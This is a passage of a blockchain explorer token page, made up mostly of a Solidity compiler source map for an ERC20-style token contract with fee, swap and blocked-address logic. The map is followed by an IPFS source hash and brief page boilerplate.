:-1;;;8184:68:0;;8859:2:1;8184:68:0;;;8841:21:1;8898:2;8878:18;;;8871:30;8937:34;8917:18;;;8910:62;-1:-1:-1;;;8988:18:1;;;8981:34;9032:19;;8184:68:0;8657:400:1;8184:68:0;-1:-1:-1;;;;;8271:21:0;;8263:68;;;;-1:-1:-1;;;8263:68:0;;9264:2:1;8263:68:0;;;9246:21:1;9303:2;9283:18;;;9276:30;9342:34;9322:18;;;9315:62;-1:-1:-1;;;9393:18:1;;;9386:32;9435:19;;8263:68:0;9062:398:1;8263:68:0;-1:-1:-1;;;;;8342:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8394:32;;1361:25:1;;;8394:32:0;;1334:18:1;8394:32:0;;;;;;;8065:369;;;:::o;8565:4074::-;-1:-1:-1;;;;;8702:20:0;;;;;;:14;:20;;;;;;;;8701:21;:44;;;;-1:-1:-1;;;;;;8727:18:0;;;;;;:14;:18;;;;;;;;8726:19;8701:44;8679:124;;;;-1:-1:-1;;;8679:124:0;;9667:2:1;8679:124:0;;;9649:21:1;9706:2;9686:18;;;9679:30;9745:32;9725:18;;;9718:60;9795:18;;8679:124:0;9465:354:1;8679:124:0;-1:-1:-1;;;;;8822:18:0;;8814:68;;;;-1:-1:-1;;;8814:68:0;;10026:2:1;8814:68:0;;;10008:21:1;10065:2;10045:18;;;10038:30;10104:34;10084:18;;;10077:62;-1:-1:-1;;;10155:18:1;;;10148:35;10200:19;;8814:68:0;9824:401:1;8814:68:0;-1:-1:-1;;;;;8901:16:0;;8893:64;;;;-1:-1:-1;;;8893:64:0;;10432:2:1;8893:64:0;;;10414:21:1;10471:2;10451:18;;;10444:30;10510:34;10490:18;;;10483:62;-1:-1:-1;;;10561:18:1;;;10554:33;10604:19;;8893:64:0;10230:399:1;8893:64:0;8985:1;8976:6;:10;8968:64;;;;-1:-1:-1;;;8968:64:0;;10836:2:1;8968:64:0;;;10818:21:1;10875:2;10855:18;;;10848:30;10914:34;10894:18;;;10887:62;-1:-1:-1;;;10965:18:1;;;10958:39;11014:19;;8968:64:0;10634:405:1;8968:64:0;9045:17;9107:4;9151:7;2815;2842:6;-1:-1:-1;;;;;2842:6:0;;2777:79;9151:7;-1:-1:-1;;;;;9143:15:0;:4;-1:-1:-1;;;;;9143:15:0;;;:45;;;;-1:-1:-1;2815:7:0;2842:6;-1:-1:-1;;;;;9175:13:0;;;2842:6;;9175:13;;9143:45;:83;;;;-1:-1:-1;;;;;;9205:21:0;;9221:4;9205:21;;9143:83;:119;;;;-1:-1:-1;;;;;;9243:19:0;;9257:4;9243:19;;9143:119;9125:3010;;;9301:209;9506:3;9301:182;9366:15;;9353:9;;:28;;9352:112;;9450:14;;9352:112;;;9410:12;;9352:112;9301:6;;:28;:182::i;:::-;:204;;:209::i;:::-;-1:-1:-1;;;;;9549:16:0;;;;;;:10;:16;;;;;;9289:221;;-1:-1:-1;9549:16:0;;:67;;;;-1:-1:-1;9600:15:0;;-1:-1:-1;;;;;9586:30:0;;;9600:15;;9586:30;;9549:67;:99;;;;-1:-1:-1;;;;;;9638:10:0;;;;;;:6;:10;;;;;;;;9637:11;9549:99;9527:423;;;9701:12;;9691:6;:22;;9683:60;;;;-1:-1:-1;;;9683:60:0;;11246:2:1;9683:60:0;;;11228:21:1;11285:2;11265:18;;;11258:30;11324:27;11304:18;;;11297:55;11369:18;;9683:60:0;11044:349:1;9683:60:0;9818:14;;9808:6;9792:13;9802:2;-1:-1:-1;;;;;6922:18:0;6895:7;6922:18;;;:9;:18;;;;;;;6829:119;9792:13;:22;;;;:::i;:::-;:40;;9762:140;;;;-1:-1:-1;;;9762:140:0;;11730:2:1;9762:140:0;;;11712:21:1;11769:2;11749:18;;;11742:30;11808:28;11788:18;;;11781:56;11854:18;;9762:140:0;11528:350:1;9762:140:0;9923:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9527:423;-1:-1:-1;;;;;9971:14:0;;;;;;:10;:14;;;;;;;;9970:15;:30;;;;-1:-1:-1;;;;;;9990:10:0;;;;;;:6;:10;;;;;;;;9989:11;9970:30;9966:211;;;10077:14;;10067:6;10051:13;10061:2;-1:-1:-1;;;;;6922:18:0;6895:7;6922:18;;;:9;:18;;;;;;;6829:119;10051:13;:22;;;;:::i;:::-;:40;;10021:140;;;;-1:-1:-1;;;10021:140:0;;11730:2:1;10021:140:0;;;11712:21:1;11769:2;11749:18;;;11742:30;11808:28;11788:18;;;11781:56;11854:18;;10021:140:0;11528:350:1;10021:140:0;-1:-1:-1;;;;;10197:14:0;;;;;;:10;:14;;;;;;;;:39;;;;-1:-1:-1;;;;;;10215:21:0;;10231:4;10215:21;;10197:39;10193:498;;;10277:8;;-1:-1:-1;;;;;10277:8:0;;;10269:16;;;;:330;;10593:6;10269:330;;;10309:260;10565:3;10309:225;10390:16;;10377:9;;:29;;10376:131;;10492:15;;10376:131;;;10443:13;;10309:6;;:36;:225::i;:260::-;10640:8;;10257:342;;-1:-1:-1;;;;;;10640:8:0;;;10632:16;;;;:43;;10667:8;;-1:-1:-1;;;;;10667:8:0;10632:43;;;10659:4;10632:43;10618:57;;10193:498;-1:-1:-1;;;;;10712:16:0;;;;;;:10;:16;;;;;;;;10711:17;:36;;;;-1:-1:-1;;;;;;10733:14:0;;;;;;:10;:14;;;;;;;;10732:15;10711:36;:61;;;;-1:-1:-1;;;;;;10751:21:0;;10767:4;10751:21;;10711:61;10707:115;;;10805:1;10793:13;;10707:115;10887:4;10838:28;6922:18;;;:9;:18;;;;;;10930:9;;;;;;;:37;;;;-1:-1:-1;10961:6:0;;;;10960:7;10930:37;:72;;;;-1:-1:-1;;;;;;10988:14:0;;;;;;:10;:14;;;;;;;;10930:72;:104;;;;-1:-1:-1;11023:11:0;;;;;;;10930:104;:151;;;;;11064:17;;11055:6;:26;10930:151;:203;;;;;11115:18;;11102:9;;:31;;10930:203;10908:1216;;;11187:13;;11172:12;:28;11168:90;;;11237:1;11225:9;:13;11168:90;11296:7;;11284:9;;:19;11276:47;;;;-1:-1:-1;;;11276:47:0;;12085:2:1;11276:47:0;;;12067:21:1;12124:2;12104:18;;;12097:30;-1:-1:-1;;;12143:18:1;;;12136:45;12198:18;;11276:47:0;11883:339:1;11276:47:0;11342:18;11363:38;11367:20;11389:11;;11363:3;:38::i;:::-;11342:59;;11437:17;;11424:10;:30;11420:85;;;11477:28;11494:10;11477:16;:28::i;:::-;11526:35;11539:21;11526:12;:35::i;:::-;11580:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;11626:12:0;11610:13;:28;-1:-1:-1;10908:1216:0;;;11683:6;;;;11682:7;:42;;;;-1:-1:-1;;;;;;11710:14:0;;;;;;:10;:14;;;;;;;;11682:42;:74;;;;-1:-1:-1;11745:11:0;;;;;;;11682:74;:121;;;;;11786:17;;11777:6;:26;11682:121;:172;;;;;11836:18;;11824:9;;:30;11682:172;11660:464;;;11889:18;11910:38;11914:20;11936:11;;11910:3;:38::i;:::-;11889:59;;11984:17;;11971:10;:30;11967:85;;;12024:28;12041:10;12024:16;:28::i;:::-;12073:35;12086:21;12073:12;:35::i;:::-;11870:254;11660:464;9274:2861;9125:3010;12168:6;12189:13;;12185:289;;-1:-1:-1;;;;;12244:22:0;;;;;;:9;:22;;;;;;:37;;12271:9;12244:26;:37::i;:::-;-1:-1:-1;;;;;12219:22:0;;;;;;:9;:22;;;;;:62;12309:21;:6;12320:9;12309:10;:21::i;:::-;:26;:93;;12381:21;:6;12392:9;12381:10;:21::i;:::-;12309:93;;;12355:6;12309:93;12296:106;;12445:4;-1:-1:-1;;;;;12422:40:0;12431:4;-1:-1:-1;;;;;12422:40:0;;12452:9;12422:40;;;;1361:25:1;;1349:2;1334:18;;1215:177;12422:40:0;;;;;;;;12185:289;-1:-1:-1;;;;;12502:15:0;;;;;;:9;:15;;;;;;:27;;12522:6;12502:19;:27::i;:::-;-1:-1:-1;;;;;12484:15:0;;;;;;;:9;:15;;;;;;:45;;;;12556:13;;;;;;;:29;;12574:10;12556:17;:29::i;:::-;-1:-1:-1;;;;;12540:13:0;;;;;;;:9;:13;;;;;;;:45;;;;12601:30;;;;;;;;;;12620:10;1361:25:1;;1349:2;1334:18;;1215:177;12601:30:0;;;;;;;;8668:3971;;;8565:4074;;;:::o;1579:224::-;1699:7;1735:12;1727:6;;;;1719:29;;;;-1:-1:-1;;;1719:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1759:9:0;1771:5;1775:1;1771;:5;:::i;:::-;1759:17;1579:224;-1:-1:-1;;;;;1579:224:0:o;1811:246::-;1869:7;1893:1;1898;1893:6;1889:47;;-1:-1:-1;1923:1:0;1916:8;;1889:47;1946:9;1958:5;1962:1;1958;:5;:::i;:::-;1946:17;-1:-1:-1;1991:1:0;1982:5;1986:1;1946:17;1982:5;:::i;:::-;:10;1974:56;;;;-1:-1:-1;;;1974:56:0;;12784:2:1;1974:56:0;;;12766:21:1;12823:2;12803:18;;;12796:30;12862:34;12842:18;;;12835:62;-1:-1:-1;;;12913:18:1;;;12906:31;12954:19;;1974:56:0;12582:397:1;1974:56:0;2048:1;1811:246;-1:-1:-1;;;1811:246:0:o;2065:132::-;2123:7;2150:39;2154:1;2157;2150:39;;;;;;;;;;;;;;;;;:3;:39::i;12647:107::-;12704:7;12736:1;12732;:5;12731:15;;12745:1;12731:15;;;-1:-1:-1;12741:1:0;12647:107;-1:-1:-1;12647:107:0:o;13203:483::-;5917:6;:13;;-1:-1:-1;;5917:13:0;5926:4;5917:13;;;13305:16:::1;::::0;;13319:1:::1;13305:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13305:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13305:16:0::1;13281:40;;13350:4;13332;13337:1;13332:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13332:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13376:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13376:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13332:7;;13376:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13366:4;13371:1;13366:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13366:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13441:15:::1;::::0;13409:62:::1;::::0;13426:4:::1;::::0;13441:15:::1;13459:11:::0;13409:8:::1;:62::i;:::-;13482:15;::::0;:196:::1;::::0;-1:-1:-1;;;13482:196:0;;-1:-1:-1;;;;;13482:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13563:11;;13482:15:::1;::::0;13605:4;;13632::::1;::::0;13652:15:::1;::::0;13482:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5953:6:0;:14;;-1:-1:-1;;5953:14:0;;;-1:-1:-1;;;;13203:483:0:o;14365:90::-;14422:8;;:25;;-1:-1:-1;;;;;14422:8:0;;;;:25;;;;;14440:6;;14422:8;:25;:8;:25;14440:6;14422:8;:25;;;;;;;;;;;;;;;;;;;;;14365:90;:::o;1248:179::-;1306:7;;1338:5;1342:1;1338;:5;:::i;:::-;1326:17;;1367:1;1362;:6;;1354:46;;;;-1:-1:-1;;;1354:46:0;;14303:2:1;1354:46:0;;;14285:21:1;14342:2;14322:18;;;14315:30;14381:29;14361:18;;;14354:57;14428:18;;1354:46:0;14101:351:1;1435:136:0;1493:7;1520:43;1524:1;1527;1520:43;;;;;;;;;;;;;;;;;:3;:43::i;2205:223::-;2325:7;2360:12;2353:5;2345:28;;;;-1:-1:-1;;;2345:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2384:9:0;2396:5;2400:1;2396;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:615::-;2593:6;2601;2654:2;2642:9;2633:7;2629:23;2625:32;2622:52;;;2670:1;2667;2660:12;2622:52;2710:9;2697:23;2739:18;2780:2;2772:6;2769:14;2766:34;;;2796:1;2793;2786:12;2766:34;2834:6;2823:9;2819:22;2809:32;;2879:7;2872:4;2868:2;2864:13;2860:27;2850:55;;2901:1;2898;2891:12;2850:55;2941:2;2928:16;2967:2;2959:6;2956:14;2953:34;;;2983:1;2980;2973:12;2953:34;3036:7;3031:2;3021:6;3018:1;3014:14;3010:2;3006:23;3002:32;2999:45;2996:65;;;3057:1;3054;3047:12;2996:65;3088:2;3080:11;;;;;3110:6;;-1:-1:-1;2507:615:1;;-1:-1:-1;;;;2507:615:1:o;3127:388::-;3195:6;3203;3256:2;3244:9;3235:7;3231:23;3227:32;3224:52;;;3272:1;3269;3262:12;3224:52;3311:9;3298:23;3330:31;3355:5;3330:31;:::i;:::-;3380:5;-1:-1:-1;3437:2:1;3422:18;;3409:32;3450:33;3409:32;3450:33;:::i;:::-;3502:7;3492:17;;;3127:388;;;;;:::o;3520:356::-;3722:2;3704:21;;;3741:18;;;3734:30;3800:34;3795:2;3780:18;;3773:62;3867:2;3852:18;;3520:356::o;4233:251::-;4303:6;4356:2;4344:9;4335:7;4331:23;4327:32;4324:52;;;4372:1;4369;4362:12;4324:52;4404:9;4398:16;4423:31;4448:5;4423:31;:::i;5410:306::-;5498:6;5506;5514;5567:2;5555:9;5546:7;5542:23;5538:32;5535:52;;;5583:1;5580;5573:12;5535:52;5612:9;5606:16;5596:26;;5662:2;5651:9;5647:18;5641:25;5631:35;;5706:2;5695:9;5691:18;5685:25;5675:35;;5410:306;;;;;:::o;5721:127::-;5782:10;5777:3;5773:20;5770:1;5763:31;5813:4;5810:1;5803:15;5837:4;5834:1;5827:15;5853:422;5942:1;5985:5;5942:1;5999:270;6020:7;6010:8;6007:21;5999:270;;;6079:4;6075:1;6071:6;6067:17;6061:4;6058:27;6055:53;;;6088:18;;:::i;:::-;6138:7;6128:8;6124:22;6121:55;;;6158:16;;;;6121:55;6237:22;;;;6197:15;;;;5999:270;;;6003:3;5853:422;;;;;:::o;6280:806::-;6329:5;6359:8;6349:80;;-1:-1:-1;6400:1:1;6414:5;;6349:80;6448:4;6438:76;;-1:-1:-1;6485:1:1;6499:5;;6438:76;6530:4;6548:1;6543:59;;;;6616:1;6611:130;;;;6523:218;;6543:59;6573:1;6564:10;;6587:5;;;6611:130;6648:3;6638:8;6635:17;6632:43;;;6655:18;;:::i;:::-;-1:-1:-1;;6711:1:1;6697:16;;6726:5;;6523:218;;6825:2;6815:8;6812:16;6806:3;6800:4;6797:13;6793:36;6787:2;6777:8;6774:16;6769:2;6763:4;6760:12;6756:35;6753:77;6750:159;;;-1:-1:-1;6862:19:1;;;6894:5;;6750:159;6941:34;6966:8;6960:4;6941:34;:::i;:::-;7011:6;7007:1;7003:6;6999:19;6990:7;6987:32;6984:58;;;7022:18;;:::i;:::-;7060:20;;6280:806;-1:-1:-1;;;6280:806:1:o;7091:140::-;7149:5;7178:47;7219:4;7209:8;7205:19;7199:4;7178:47;:::i;7236:168::-;7309:9;;;7340;;7357:15;;;7351:22;;7337:37;7327:71;;7378:18;;:::i;7409:127::-;7470:10;7465:3;7461:20;7458:1;7451:31;7501:4;7498:1;7491:15;7525:4;7522:1;7515:15;7541:135;7580:3;7601:17;;;7598:43;;7621:18;;:::i;:::-;-1:-1:-1;7668:1:1;7657:13;;7541:135::o;8375:277::-;8442:6;8495:2;8483:9;8474:7;8470:23;8466:32;8463:52;;;8511:1;8508;8501:12;8463:52;8543:9;8537:16;8596:5;8589:13;8582:21;8575:5;8572:32;8562:60;;8618:1;8615;8608:12;11398:125;11463:9;;;11484:10;;;11481:36;;;11497:18;;:::i;12227:128::-;12294:9;;;12315:11;;;12312:37;;;12329:18;;:::i;12360:217::-;12400:1;12426;12416:132;;12470:10;12465:3;12461:20;12458:1;12451:31;12505:4;12502:1;12495:15;12533:4;12530:1;12523:15;12416:132;-1:-1:-1;12562:9:1;;12360:217::o;13116:980::-;13378:4;13426:3;13415:9;13411:19;13457:6;13446:9;13439:25;13483:2;13521:6;13516:2;13505:9;13501:18;13494:34;13564:3;13559:2;13548:9;13544:18;13537:31;13588:6;13623;13617:13;13654:6;13646;13639:22;13692:3;13681:9;13677:19;13670:26;;13731:2;13723:6;13719:15;13705:29;;13752:1;13762:195;13776:6;13773:1;13770:13;13762:195;;;13841:13;;-1:-1:-1;;;;;13837:39:1;13825:52;;13932:15;;;;13897:12;;;;13873:1;13791:9;13762:195;;;-1:-1:-1;;;;;;;14013:32:1;;;;14008:2;13993:18;;13986:60;-1:-1:-1;;;14077:3:1;14062:19;14055:35;13974:3;13116:980;-1:-1:-1;;;13116:980:1:o

Swarm Source

ipfs://33d7f2d835de29a573519e958db19ad6b14f2c95c74a257d17b8d4cb759eeba8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.